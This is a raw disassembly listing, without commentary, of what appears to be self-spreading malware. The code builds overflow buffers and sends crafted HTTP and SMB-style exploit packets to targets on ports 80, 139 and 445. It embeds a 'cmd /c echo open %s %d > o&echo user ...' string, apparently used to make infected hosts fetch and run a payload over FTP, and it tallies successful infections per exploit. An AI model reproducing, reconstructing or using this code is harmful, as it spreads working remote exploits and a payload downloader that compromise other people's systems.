lea ecx, [ebp+var_50]
call sub_40CB2A
lea ecx, [ebp+var_18]
call sub_40CB2A
lea ecx, [ebp+var_40]
call sub_40CB2A
lea ecx, [ebp+var_38]
call sub_40CB2A
lea ecx, [ebp+var_28]
call sub_40CB2A
push 4
push offset dword_432030
lea ecx, [ebp+var_30]
call sub_40CCE2
push 3
push offset dword_432038
lea ecx, [ebp+var_30]
call sub_40CCE2
lea ecx, [ebp+var_30]
call sub_40CC68
lea ecx, [ebp+var_30]
call sub_40CD43
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_41BF70
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "BBBB"
call sub_40CCE2
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_40CCE2
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_40CCE2
lea ecx, [ebp+var_20]
call sub_40CC68
push offset loc_4323B4
lea ecx, [ebp+var_50]
call sub_40CD16
lea ecx, [ebp+var_50]
call sub_40CC68
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_40CB34
lea ecx, [ebp+var_58]
call sub_40CC68
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_40CD7F
lea ecx, [ebp+var_58]
call sub_40CBC3
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_41BF70
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_40CD16
push 4
push offset dword_43203C
lea ecx, [ebp+var_18]
call sub_40CCE2
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_40CCE2
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_40CCE2
lea ecx, [ebp+var_18]
call sub_40CC68
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_40CD33
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_40CD33
lea ecx, [ebp+var_40]
call sub_40CD43
lea ecx, [ebp+var_18]
call sub_40CBC3
lea ecx, [ebp+var_50]
call sub_40CBC3
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_40CD33
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_40CD33
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_40CD33
lea ecx, [ebp+var_38]
call sub_40CD43
lea ecx, [ebp+var_20]
call sub_40CBC3
lea ecx, [ebp+var_30]
call sub_40CBC3
lea ecx, [ebp+var_40]
call sub_40CBC3
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_40CCE2
lea ecx, [ebp+var_28]
call sub_40CC68
push 2
push offset dword_4323A8
lea ecx, [ebp+var_28]
call sub_40CCE2
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_40CD33
lea ecx, [ebp+var_28]
call sub_40CD43
lea ecx, [ebp+var_38]
call sub_40CBC3
lea ecx, [ebp+var_10]
call sub_40CB2A
lea ecx, [ebp+var_8]
call sub_40CB2A
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_40CD33
lea ecx, [ebp+var_10]
call sub_40CBDC
lea ecx, [ebp+var_28]
call sub_40CBC3
push offset dword_4323A4
lea ecx, [ebp+var_8]
call sub_40CD16
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CD33
lea ecx, [ebp+var_8]
call sub_40CBDC
lea ecx, [ebp+var_10]
call sub_40CBC3
push offset dword_4323A0
lea ecx, [ebp+var_10]
call sub_40CD16
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_40CD33
lea ecx, [ebp+var_10]
call sub_40CBDC
lea ecx, [ebp+var_8]
call sub_40CBC3
push offset dword_432394
lea ecx, [ebp+var_8]
call sub_40CD16
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CD33
lea ecx, [ebp+var_8]
call sub_40CBDC
lea ecx, [ebp+var_10]
call sub_40CBC3
push (offset loc_43238F+1)
lea ecx, [ebp+var_48]
call sub_40CD16
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_40CD33
lea ecx, [ebp+var_8]
call sub_40CBC3
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop esi
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
jmp short loc_40D100
; ---------------------------------------------------------------------------
loc_40D0F2: ; CODE XREF: sub_40CD9E+1Bj
; sub_40CD9E+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
loc_40D100: ; CODE XREF: sub_40CD9E+352j
pop edi
pop ebx
leave
retn
sub_40CD9E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D104 proc near ; CODE XREF: sub_40D1C8+A1p
; sub_40D1C8+C2p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
push edi
mov esi, [ebp+arg_0]
push 1
pop edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
nop
call near ptr 71AB1890h
cmp eax, edi
jnz short loc_40D16B
lea eax, [ebp+var_10C]
push eax
push esi
call sub_426350
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_40D16F
loc_40D16B: ; CODE XREF: sub_40D104+54j
xor eax, eax
jmp short loc_40D17F
; ---------------------------------------------------------------------------
loc_40D16F: ; CODE XREF: sub_40D104+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4CB9EC
loc_40D17F: ; CODE XREF: sub_40D104+69j
pop edi
pop esi
leave
retn
sub_40D104 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D183 proc near ; CODE XREF: sub_40D1C8+81p
; sub_40D1C8+ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_4CB9D0
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_4CBA24
cmp eax, 4
jz short loc_40D1AD
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40D1AD: ; CODE XREF: sub_40D183+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4CBA24
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_40D183 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D1C8 proc near ; CODE XREF: sub_40D2A2+48p
; ___:0040D716p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_41BEB5
mov esi, eax
pop ecx
test esi, esi
jnz short loc_40D1F1
xor al, al
jmp loc_40D29D
; ---------------------------------------------------------------------------
loc_40D1F1: ; CODE XREF: sub_40D1C8+20j
push ebx
push 0
push esi
call sub_41BF70
push 2Fh
push offset dword_4320CC
push esi
call sub_41CD20
push 8
lea eax, [esi+31h]
push offset dword_4320FC
push eax
mov [esi+2Fh], di
call sub_41CD20
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call sub_41CD20
push 6
add ebx, edi
push offset dword_4CE6EC
push ebx
call sub_41CD20
mov ebx, [ebp+arg_0]
push 85h
push offset dword_432044
push ebx
call sub_40D183
add esp, 48h
test al, al
jnz short loc_40D259
loc_40D255: ; CODE XREF: sub_40D1C8+B5j
xor bl, bl
jmp short loc_40D294
; ---------------------------------------------------------------------------
loc_40D259: ; CODE XREF: sub_40D1C8+8Bj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40D104
push [ebp+var_4]
push esi
push ebx
call sub_40D183
add esp, 1Ch
test al, al
jz short loc_40D255
push 0
lea eax, [ebp+var_104]
push edi
push eax
push ebx
call sub_40D104
add esp, 10h
mov bl, 1
loc_40D294: ; CODE XREF: sub_40D1C8+8Fj
push esi
call sub_41BA91
pop ecx
mov al, bl
loc_40D29D: ; CODE XREF: sub_40D1C8+24j
pop edi
pop esi
pop ebx
leave
retn
sub_40D1C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D2A2 proc near ; CODE XREF: ___:0040D6FCp
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_432108
push [ebp+arg_0]
nop
call near ptr 71AB1AF4h
cmp eax, 48h
jnz short loc_40D2DD
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_40D104
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_40D2DD
cmp [ebp+var_20], 82h
jz short loc_40D2E1
loc_40D2DD: ; CODE XREF: sub_40D2A2+1Bj
; sub_40D2A2+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40D2E1: ; CODE XREF: sub_40D2A2+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D1C8
add esp, 0Ch
leave
retn
sub_40D2A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D2F4 proc near ; CODE XREF: sub_40D340+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul dbl_427670
call sub_41D174
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul dbl_427668
fstp [esp+10h+var_10]
call sub_41D055
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_41D174
inc eax
leave
retn
sub_40D2F4 endp
; =============== S U B R O U T I N E =======================================
sub_40D340 proc near ; CODE XREF: sub_40D4E2+24p
var_40 = qword ptr -40h
mov eax, offset loc_426AA7
call sub_41D640
sub esp, 2Ch
mov al, [ebp+13h]
push ebx
push esi
push edi
xor edi, edi
lea ecx, [ebp-38h]
push edi
mov [ebp-20h], edi
mov [ebp-38h], al
call sub_40D977
push 1
pop ebx
push dword ptr [ebp+10h]
mov [ebp-4], ebx
call sub_40D2F4
cmp [ebp-2Ch], eax
pop ecx
jnb short loc_40D382
push edi
push eax
lea ecx, [ebp-38h]
call sub_40D8F2
loc_40D382: ; CODE XREF: sub_40D340+36j
cmp [ebp+10h], edi
mov [ebp-18h], edi
jbe loc_40D49F
mov ebx, [ebp+10h]
loc_40D391: ; CODE XREF: sub_40D340+156j
cmp dword ptr [ebp+10h], 3
jb short loc_40D39B
push 3
jmp short loc_40D3AD
; ---------------------------------------------------------------------------
loc_40D39B: ; CODE XREF: sub_40D340+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_40D3A5
push 2
jmp short loc_40D3AD
; ---------------------------------------------------------------------------
loc_40D3A5: ; CODE XREF: sub_40D340+5Fj
cmp dword ptr [ebp+10h], 1
jnz short loc_40D3AE
push 1
loc_40D3AD: ; CODE XREF: sub_40D340+59j
; sub_40D340+63j
pop ebx
loc_40D3AE: ; CODE XREF: sub_40D340+69j
mov [ebp-28h], ebx
mov [ebp-24h], edi
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul dbl_427680
fstp [esp+40h+var_40]
call sub_41D19B
pop ecx
pop ecx
call sub_41D174
cmp ebx, edi
mov [ebp-1Ch], eax
jbe short loc_40D3ED
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_40D3ED: ; CODE XREF: sub_40D340+93j
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
cmp eax, edi
mov [ebp-11h], cl
jbe short loc_40D45B
add [ebp-18h], eax
loc_40D43F: ; CODE XREF: sub_40D340+119j
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, byte_432154[eax]
push eax
push 1
call sub_40D774
inc esi
cmp esi, [ebp-1Ch]
jb short loc_40D43F
loc_40D45B: ; CODE XREF: sub_40D340+FAj
cmp dword ptr [ebp-18h], 48h
jb short loc_40D479
push dword ptr [ebp+14h]
call sub_41B9C0
pop ecx
push eax
lea ecx, [ebp-38h]
push dword ptr [ebp+14h]
call sub_40D7CD
mov [ebp-18h], edi
loc_40D479: ; CODE XREF: sub_40D340+11Fj
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_40D493
sub esi, [ebp-1Ch]
loc_40D484: ; CODE XREF: sub_40D340+151j
push 3Dh
push 1
lea ecx, [ebp-38h]
call sub_40D774
dec esi
jnz short loc_40D484
loc_40D493: ; CODE XREF: sub_40D340+13Fj
cmp [ebp+10h], edi
ja loc_40D391
push 1
pop ebx
loc_40D49F: ; CODE XREF: sub_40D340+48j
mov esi, [ebp+8]
mov al, [ebp-38h]
push edi
mov ecx, esi
mov [esi], al
call sub_40D977
push dword_427678
lea eax, [ebp-38h]
mov ecx, esi
push edi
push eax
call sub_40D824
mov [ebp-20h], ebx
and byte ptr [ebp-4], 0
push ebx
lea ecx, [ebp-38h]
call sub_40D977
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D340 endp
; =============== S U B R O U T I N E =======================================
sub_40D4E2 proc near ; CODE XREF: ___:0040D6DFp
mov eax, offset loc_426AC4
call sub_41D640
sub esp, 10h
push ebx
push esi
push edi
push offset byte_43DB88
lea eax, [ebp-1Ch]
push dword ptr [ebp+10h]
xor ebx, ebx
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
push eax
call sub_40D340
mov eax, [ebp+1Ch]
mov ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
lea esi, [ecx+eax+36h]
push esi
call sub_41BEB5
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_40D52C
xor bl, bl
jmp short loc_40D570
; ---------------------------------------------------------------------------
loc_40D52C: ; CODE XREF: sub_40D4E2+44j
mov ecx, [ebp-18h]
mov eax, offset dword_427688
cmp ecx, ebx
jnz short loc_40D53A
mov ecx, eax
loc_40D53A: ; CODE XREF: sub_40D4E2+54j
cmp [ebp+18h], ebx
jz short loc_40D542
mov eax, [ebp+18h]
loc_40D542: ; CODE XREF: sub_40D4E2+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_41C360
add esp, 14h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call dword_4CBA24
cmp eax, esi
jz short loc_40D567
xor bl, bl
jmp short loc_40D569
; ---------------------------------------------------------------------------
loc_40D567: ; CODE XREF: sub_40D4E2+7Fj
mov bl, 1
loc_40D569: ; CODE XREF: sub_40D4E2+83j
push edi
call sub_41BA91
pop ecx
loc_40D570: ; CODE XREF: sub_40D4E2+48j
and byte ptr [ebp-4], 0
push 1
lea ecx, [ebp-1Ch]
call sub_40D977
or dword ptr [ebp-4], 0FFFFFFFFh
push 1
lea ecx, [ebp+14h]
call sub_40D977
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D4E2 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 420h
and byte ptr [ebp-420h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-41Fh]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-420h]
push offset sub_432300
push eax
call sub_41CD20
add esp, 0Ch
mov eax, offset byte_429108
push eax
push eax
movzx eax, word ptr dword_4CB710
push eax
push dword ptr [ebp+8]
call sub_40AA06
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
lea eax, [ebp-391h]
push 400h
push eax
call sub_41C360
add eax, 90h
push eax
lea eax, [ebp-420h]
push eax
push 164h
lea eax, [ebp-8]
push offset sub_432198
push eax
call sub_40CD9E
xor esi, esi
add esp, 30h
cmp [ebp-4], esi
jnz short loc_40D63B
xor eax, eax
jmp loc_40D767
; ---------------------------------------------------------------------------
loc_40D63B: ; CODE XREF: ___:0040D632j
mov [ebp-0Ch], esi
loc_40D63E: ; CODE XREF: ___:0040D73Ej
test esi, esi
jnz loc_40D744
push 6
push 1
push 2
nop
call near ptr 71AB3C22h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40D72C
xor eax, eax
lea edi, [ebp-1Ah]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-1Ch], 2
call dword_4CB9D4
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call dword_4CBA14
mov [ebp-18h], eax
lea eax, [ebp-1Ch]
push 10h
push eax
push ebx
call dword_4CB97C
cmp eax, 0FFFFFFFFh
jz loc_40D721
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_40D6E9
mov al, [ebp+0C3h]
sub esp, 10h
mov esi, esp
mov [ebp-20h], esp
push 0
mov ecx, esi
mov [esi], al
call sub_40D977
lea eax, [ebp+0Ch]
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+0Ch]
push eax
mov ecx, esi
call sub_40D9B3
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D4E2
add esp, 1Ch
jmp short loc_40D71E
; ---------------------------------------------------------------------------
loc_40D6E9: ; CODE XREF: ___:0040D6A7j
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_40D703
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D2A2
jmp short loc_40D71B
; ---------------------------------------------------------------------------
loc_40D703: ; CODE XREF: ___:0040D6F3j
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_40D721
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D1C8
loc_40D71B: ; CODE XREF: ___:0040D701j
add esp, 0Ch
loc_40D71E: ; CODE XREF: ___:0040D6E7j
movzx esi, al
loc_40D721: ; CODE XREF: ___:0040D69Aj
; ___:0040D70Dj
push ebx
call dword_4CBA6C
test esi, esi
jnz short loc_40D737
loc_40D72C: ; CODE XREF: ___:0040D657j
push 3E8h
call near ptr 26C04BFh
nop
loc_40D737: ; CODE XREF: ___:0040D72Aj
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_40D63E
loc_40D744: ; CODE XREF: ___:0040D640j
lea ecx, [ebp-8]
call sub_40CBC3
test esi, esi
jz short loc_40D765
mov eax, [ebp+0B0h]
shl eax, 6
inc dword_431800[eax]
lea eax, dword_431800[eax]
loc_40D765: ; CODE XREF: ___:0040D74Ej
mov eax, esi
loc_40D767: ; CODE XREF: ___:0040D636j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426A88
loc_40D76C: ; CODE XREF: sub_426A88+3j
; ___:00426AA1j ...
push 1
call sub_40D977
retn
; END OF FUNCTION CHUNK FOR sub_426A88
; =============== S U B R O U T I N E =======================================
sub_40D774 proc near ; CODE XREF: sub_40D340+110p
; sub_40D340+14Bp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, dword_427678
push ebx
mov ebx, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D78E
call sub_42629A
loc_40D78E: ; CODE XREF: sub_40D774+13j
test ebx, ebx
jbe short loc_40D7C5
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D8F2
test al, al
jz short loc_40D7C5
movsx eax, [esp+0Ch+arg_4]
push ebx
push eax
mov eax, [esi+4]
add eax, [esi+8]
push eax
call sub_41BF70
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_40D7C5: ; CODE XREF: sub_40D774+1Cj
; sub_40D774+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D774 endp
; =============== S U B R O U T I N E =======================================
sub_40D7CD proc near ; CODE XREF: sub_40D340+131p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, dword_427678
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D7E7
call sub_42629A
loc_40D7E7: ; CODE XREF: sub_40D7CD+13j
test ebx, ebx
jbe short loc_40D81C
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D8F2
test al, al
jz short loc_40D81C
mov eax, [esi+8]
push ebx
push [esp+10h+arg_0]
add eax, [esi+4]
push eax
call sub_41CD20
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_40D81C: ; CODE XREF: sub_40D7CD+1Cj
; sub_40D7CD+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D7CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D824 proc near ; CODE XREF: sub_40D340+17Cp
; sub_4261B0+15p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
cmp [ebx+8], eax
jnb short loc_40D83C
call sub_426173
loc_40D83C: ; CODE XREF: sub_40D824+11j
mov eax, [ebx+8]
mov ecx, [ebp+arg_4]
mov esi, eax
sub esi, ecx
cmp [ebp+arg_8], esi
jnb short loc_40D84E
mov esi, [ebp+arg_8]
loc_40D84E: ; CODE XREF: sub_40D824+25j
cmp edi, ebx
jnz short loc_40D870
push dword_427678
add esi, ecx
mov ecx, edi
push esi
call sub_40D9E8
push [ebp+arg_4]
mov ecx, edi
push 0
call sub_40D9E8
jmp short loc_40D8E9
; ---------------------------------------------------------------------------
loc_40D870: ; CODE XREF: sub_40D824+2Cj
test esi, esi
jbe short loc_40D8B3
cmp esi, eax
jnz short loc_40D8B3
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D884
mov eax, offset dword_427688
loc_40D884: ; CODE XREF: sub_40D824+59j
cmp byte ptr [eax-1], 0FEh
jnb short loc_40D8B3
push 1
mov ecx, edi
call sub_40D977
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D89F
mov eax, offset dword_427688
loc_40D89F: ; CODE XREF: sub_40D824+74j
mov [edi+4], eax
mov ecx, [ebx+8]
mov [edi+8], ecx
mov ecx, [ebx+0Ch]
mov [edi+0Ch], ecx
inc byte ptr [eax-1]
jmp short loc_40D8E9
; ---------------------------------------------------------------------------
loc_40D8B3: ; CODE XREF: sub_40D824+4Ej
; sub_40D824+52j ...
push 1
push esi
mov ecx, edi
call sub_40D8F2
test al, al
jz short loc_40D8E9
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D8CD
mov eax, offset dword_427688
loc_40D8CD: ; CODE XREF: sub_40D824+A2j
mov ecx, [ebp+arg_4]
push esi
add eax, ecx
push eax
push dword ptr [edi+4]
call sub_41CD20
mov eax, [edi+4]
add esp, 0Ch
mov [edi+8], esi
and byte ptr [eax+esi], 0
loc_40D8E9: ; CODE XREF: sub_40D824+4Aj
; sub_40D824+8Dj ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_40D824 endp
; =============== S U B R O U T I N E =======================================
sub_40D8F2 proc near ; CODE XREF: sub_40D340+3Dp
; sub_40D774+28p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFDh
jbe short loc_40D904
call sub_42629A
loc_40D904: ; CODE XREF: sub_40D8F2+Bj
mov ecx, [esi+4]
xor edx, edx
cmp ecx, edx
jz short loc_40D92D
mov al, [ecx-1]
cmp al, dl
jz short loc_40D92D
cmp al, 0FFh
jz short loc_40D92D
cmp edi, edx
jnz short loc_40D968
dec al
push edx
mov [ecx-1], al
loc_40D922: ; CODE XREF: sub_40D8F2+47j
mov ecx, esi
call sub_40D977
loc_40D929: ; CODE XREF: sub_40D8F2+4Bj
; sub_40D8F2+52j
xor al, al
jmp short loc_40D972
; ---------------------------------------------------------------------------
loc_40D92D: ; CODE XREF: sub_40D8F2+19j
; sub_40D8F2+20j ...
cmp edi, edx
jnz short loc_40D946
cmp [esp+8+arg_4], dl
jz short loc_40D93B
push 1
jmp short loc_40D922
; ---------------------------------------------------------------------------
loc_40D93B: ; CODE XREF: sub_40D8F2+43j
cmp ecx, edx
jz short loc_40D929
mov [esi+8], edx
mov [ecx], dl
jmp short loc_40D929
; ---------------------------------------------------------------------------
loc_40D946: ; CODE XREF: sub_40D8F2+3Dj
cmp [esp+8+arg_4], dl
jz short loc_40D963
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_40D958
cmp eax, edi
jnb short loc_40D970
loc_40D958: ; CODE XREF: sub_40D8F2+60j
push 1
mov ecx, esi
call sub_40D977
jmp short loc_40D968
; ---------------------------------------------------------------------------
loc_40D963: ; CODE XREF: sub_40D8F2+58j
cmp [esi+0Ch], edi
jnb short loc_40D970
loc_40D968: ; CODE XREF: sub_40D8F2+28j
; sub_40D8F2+6Fj
push edi
mov ecx, esi
call sub_40DA4F
loc_40D970: ; CODE XREF: sub_40D8F2+64j
; sub_40D8F2+74j
mov al, 1
loc_40D972: ; CODE XREF: sub_40D8F2+39j
pop edi
pop esi
retn 8
sub_40D8F2 endp
; =============== S U B R O U T I N E =======================================
sub_40D977 proc near ; CODE XREF: sub_40D340+1Fp
; sub_40D340+16Ap ...
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_40D9A3
mov eax, [esi+4]
test eax, eax
jz short loc_40D9A3
lea ecx, [eax-1]
mov al, [eax-1]
test al, al
jz short loc_40D99C
cmp al, 0FFh
jz short loc_40D99C
dec al
mov [ecx], al
jmp short loc_40D9A3
; ---------------------------------------------------------------------------
loc_40D99C: ; CODE XREF: sub_40D977+19j
; sub_40D977+1Dj
push ecx
call sub_41D65F
pop ecx
loc_40D9A3: ; CODE XREF: sub_40D977+8j
; sub_40D977+Fj ...
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_40D977 endp
; =============== S U B R O U T I N E =======================================
sub_40D9B3 proc near ; CODE XREF: ___:0040D6D3p
; sub_40DB0C+28p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
push 1
mov esi, ecx
push edi
call sub_40D8F2
test al, al
jz short loc_40D9E1
push edi
push [esp+0Ch+arg_0]
push dword ptr [esi+4]
call sub_41CD20
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_40D9E1: ; CODE XREF: sub_40D9B3+12j
mov eax, esi
pop edi
pop esi
retn 8
sub_40D9B3 endp
; =============== S U B R O U T I N E =======================================
sub_40D9E8 proc near ; CODE XREF: sub_40D824+39p
; sub_40D824+45p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_40D9FB
call sub_426173
loc_40D9FB: ; CODE XREF: sub_40D9E8+Cj
mov ecx, edi
call sub_40DB0C
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_40DA11
mov ebx, eax
loc_40DA11: ; CODE XREF: sub_40D9E8+25j
test ebx, ebx
jbe short loc_40DA47
